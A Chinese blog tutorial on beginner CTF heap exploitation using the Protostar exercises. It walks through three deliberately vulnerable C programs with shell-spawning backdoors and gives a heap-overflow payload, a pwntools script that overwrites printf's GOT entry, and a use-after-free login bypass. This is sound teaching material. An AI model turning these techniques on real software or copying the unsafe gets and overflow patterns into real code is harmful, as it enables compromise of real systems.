CTF-pwn-堆入门-【Protostar】例题学习
前言:个人学习刚开始学习堆知识,上来就是各种原理堆砌的高墙实在有些难以理解,所以就直接从实例出发开始学习堆,遇到知识点再针对学习,也不至于特别枯燥。
参照【Protostar】例题学习 均在ubuntu 22.04 上演示
视频学习:https://www.bilibili.com/video/BV1zG4y1w773/?spm_id_from=333.788
靶场下载:
https://exploit.education/downloads/
什么是堆
堆是可以根据运行时的需要进行动态分配和释放的内存,大小可变 由程序员决定 。
堆是用来动态分配内存的区域,通常用于存储程序运行时需要的数据,如对象、数组、字符串等。堆上的内存通常需要手动分配和释放,并且具有更长的生命周期。
相关命令: malloc new\free delete
栈用于函数分配固定大小的局部内存,大小由程序决定
堆的实现重点关注内存块的组织和管理方式,尤其是空闲内置块:
如何提高分配和释放效率
如何降低碎片化,提高空间利用率
我们要学习的堆溢出栈溢出原理相同,发生在缓冲区上 。 而 一个发生在堆上,一个发生在栈上
问题1:栈已经很高效了,那数据为什么不都存储在栈上进行调用,反而要存储在堆上?
回答:栈是一个高效的数据结构,存储了函数的局部变量、返回地址以及其他执行函数调用所需的信息。但是存储在栈上的数据具有较短的声明周期,通常在函数调用时存在,函数返回时被销毁。栈上的内存分配是静态的,如果需要创建链表、树时,在堆上存储的效率比栈高。
数据存储在堆上的主要原因是要满足动态分配、较长的生命周期、大内存需求以及数据共享等需求
例题分析
heap0_fd
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> struct data{ //声明了data,fp两个struct char name[64]; }; struct fp{ int (*fp)(); }; void backdoor(){ //获取shell system("/bin/sh"); } void info(){ printf("this is easy heap0!!!"); } int main(int args , char **argv){ struct data *d; //定义了两个struct指针 struct fp *f; d = malloc(sizeof(struct data)); //为struct在堆上分配的地址 f = malloc(sizeof(struct fp)); f -> fp = info; //把info函数名给fp printf("data is at %p,fp is at %p\n",d,f); //打印data和fp的内存地址 gets(d->name); // strcpy(d->name,argv[1]); //把用户终端输入的值赋给name 在name空间造成溢出 f->fp(); //再执行fp()即info() } //gcc -o heap0 -no-pie heap0.c 有没有pie其实都没关系,已经输出了d的地址和f的地址,计算一下偏移就可以了
我们的目标明显就是修改程序的执行流,执行到backdoor
运行程序,输入AAAA
可以看到此时堆上内存为
data__64 | *fp | |||
---|---|---|---|---|
AAAA | &info |
而data并没有限制输入长度,所以当我们输入过长的payload时,就会造成溢出到fp指针出,而fp中存储的是下一个执行函数的地址,那么如果我们将该地址覆盖,就能控制程序的执行流
payload = b'a'*80 + p64(elf.sym['backdoor'])
总结:首先是要了解结构体在堆内的存储方式,指针的作用,堆上分配的内存大小
heap1_struct
a = malloc(16) b = malloc(24) c = malloc(10) d = malloc(16)
heap上分配的地址不连续
a_16 | b_24 | c_10 | d_16 |
---|
a 表示的地址是 具有数据存储的内存块的起始地址,而不是空块的地址
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> struct internet{ int priority; char *name; }; void backdoor(){ system("/bin/sh"); } int main(){ struct internet *i1,*i2,*i3; i1 = malloc(sizeof(struct internet)); i1->priority = 1; i1->name=malloc(8); i2 = malloc(sizeof(struct internet)); i2 -> priority = 2; i2 -> name = malloc(8); gets(i1->name); gets(i2->name); printf("usr1's name is %s ,id is %d\n",i1->name,i1->priority); printf("usr2's name is %s ,id is %d\n",i2->name,i2->priority); } //gcc -o heap1 -no-pie heap1.c
internet结构体
当我们在 i1->name 中传入过长payload时,会对usr2中name指向的地址造成覆盖,再在 i2->name 中修改内容
usr1 | 8 | i1->name | usr2 | 8 | i2->name | ||||||
---|---|---|---|---|---|---|---|---|---|---|---|
priority_int | *name | priority_int | *name | ||||||||
aaaa | aaaa | aaaa | aaaa | aaaa | printf_got | backdoor_addr |
堆上创建的结构体如上图所示
修改printf的got表
from pwn import * pwnfile = './heap1' elf = ELF(pwnfile) io = process(pwnfile) backdoor = elf.sym['backdoor'] printf_got = elf.got['printf'] #gdb.attach(io) #pause() payload = b'a'*40 + p64(printf_got) io.sendline(payload) payload = p64(backdoor) io.sendline(payload) io.interactive()
heap2_first_uaf
熟悉相关函数:free,malloc,memset,strdup
简易的 use-after-free (使内存错误)
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> struct auth{ char name[32]; int auth }; struct auth *auth; char *service; int main(int argc,char **argv){ char line[128]; while(1){ printf("[ auth = %p,service = %p ]\n",auth,service); if(fgets(line, sizeof(line),stdin) == NULL)break; if(strncmp(line,"auth ",5) == 0){ auth = malloc(sizeof(auth)); //这里的auth指 上面定义的auth指针,而不是struct auth 申请了四字节,但是存在malloc的对齐机制,我们是64位操作系统,内存会消耗32字节 memset(auth , 0 , sizeof(auth)); if(strlen(line + 5) < 31){ strcpy(auth->name,line+5); } if(strncmp(line, "reset",5) == 0){ free(auth); } if(strncmp(line, "service", 6 ) == 0){ service = strdup(line + 7); // strdup: 将字符串拷贝到新建的位置处 } if(strncmp(line,"login",5)==0){ if(auth->auth){ printf("you have logged in already !\n"); } else { printf("please enter your password !\n"); } } } } //gcc -o heap2 -no-pie heap2.c
我们的目的就是显示登陆成功,即执行 printf("you have logged in already !\n");
常规执行是很容易hack掉的,但是我们的的目的是了解为什么能够hack掉它。
在上终端中,创建用户,我们再输入密码,登录成功;而在下终端中,我们先创建了用户,再给它销毁掉,输入两次密码,显示登陆成功。
首先明确登陆成功要求:auth -> auth 中存在值
那么 auth -> auth 指的是什么?不是我们第一次输入(auth 37)的用户名吗?
结果当然不是,我们这里的 auth -> auth 指的是 在该判断语句中创建的 指向auth结构体的auth指针,其定义为 *struct auth auth;
所以判断语句if(auth->auth)中auth还是以定义的结构体 32+4字节 访问,第33个字节就是指向auth->auth
if(strncmp(line,"auth ",5) == 0){ auth = malloc(sizeof(auth)); //这里的auth指 上面定义的auth指针,而不是struct auth ,所以只分配了四个字节,但是这里会存在malloc的对齐机制 memset(auth , 0 , sizeof(auth)); if(strlen(line + 5) < 31){ strcpy(auth->name,line+5); } }
uaf绕过登录判断
下终端登录成功原理分析。
跟视频中演示有所不同,本地是64位操作系统,malloc申请四字节数据时会消耗32字节(划线部分,auth指针地址为0x405ac0 ),如下
reset 执行 free : 37被清除掉了,此时指向auth指针仍然有效,而auth代表的区块并不一定有效
设置密码 service 111 :由于free过一次,service的malloc会在开始时创建的auth的指针处创建,于是输入的密码放到了第一次设置用户名的位置
登录测试:login 由auth指针指向auth结构体可知,此时 auth->auth 指向的是 0x405ae0的值 此时为0,那么当我们再设置一次密码时就会使该地址的值不为0
再次设置密码,我们就覆盖了struct auth中的 int auth ,即可进入 if(auth->auth) 判断
总结:uaf的简化
当我们的service压入到了auth struct的int auth上,auth->auth 就不为0 ,通过登录校验。我们在free掉auth后,又能够通过auth残留的指针指向内存的位置,对结构体中第二个成员“auth”进行访问赋值。这就是简单的use-after-free
malloc对齐机制
上终端演示登录成功原理分析。
有了上面对malloc对齐的提及,这里成功的原因也是很明了了。
由于malloc对齐的原因,创建用户时,会申请4字节内存,系统内会消耗32字节,这样便填充满了struct auth中的32字节长的name值,
又由于没有free掉auth,service的malloc会紧接在auth后面
那么当我们再次输入 service 123 时,会往下第33个字节处开始赋值
本文作者:37blog
本文链接:https://www.cnblogs.com/37blog/p/17808141.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步